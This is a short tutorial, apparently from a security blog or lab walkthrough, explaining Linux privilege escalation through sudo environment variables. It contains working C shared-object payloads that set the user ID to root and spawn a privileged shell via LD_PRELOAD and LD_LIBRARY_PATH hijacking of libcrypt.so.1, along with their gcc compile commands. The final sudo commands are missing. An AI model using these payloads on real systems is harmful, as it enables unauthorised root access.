arrow-left arrow-right brightness-2 chevron-left chevron-right circle-half-full dots-horizontal facebook-box facebook loader magnify menu-down rss-box star twitter-box twitter white-balance-sunny window-close
Linux Privilege Escalation - Environment Variables
2 min read

Linux Privilege Escalation - Environment Variables

Linux Privilege Escalation - Environment Variables

Programs running via sudo can inherit variables from the environment of the user. If the env_reset option is set in the /etc/sudoers config file, sudo will run the programs in a new, minimal environment. The env_keep option can be used to keep certain environment variables from the user’s environment. The configured options are displayed when running sudo -l.

The LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.

LD_PRELOAD

When a program is running, LD_PRELOAD loads a shared object before any others. By writing a simple script with init() function, it will help us execute code as soon as the object is loaded.

First, create a shared object file with the following contents:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Then, compile the script.

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c

And finally, run one of the programs you are allowed to run via sudo while setting the LD_PRELOAD environment variable to the full path of the new shared object:


LD_LIBRARY_PATH

The LD_LIBRARY_PATH contains a list of directories which search for shared libraries first.

First, print the shared libraries of a program.

Use one of the shared objects in the list and we will hijack it by creating a file with same name. For this demonstration, we will be targeting the libcrypt.so.1 file.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Then, compile the script.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c

And finally, run apache2 using sudo, while settings the LD_LIBRARY_PATH environment variable to /tmp (where compiled shared object is located):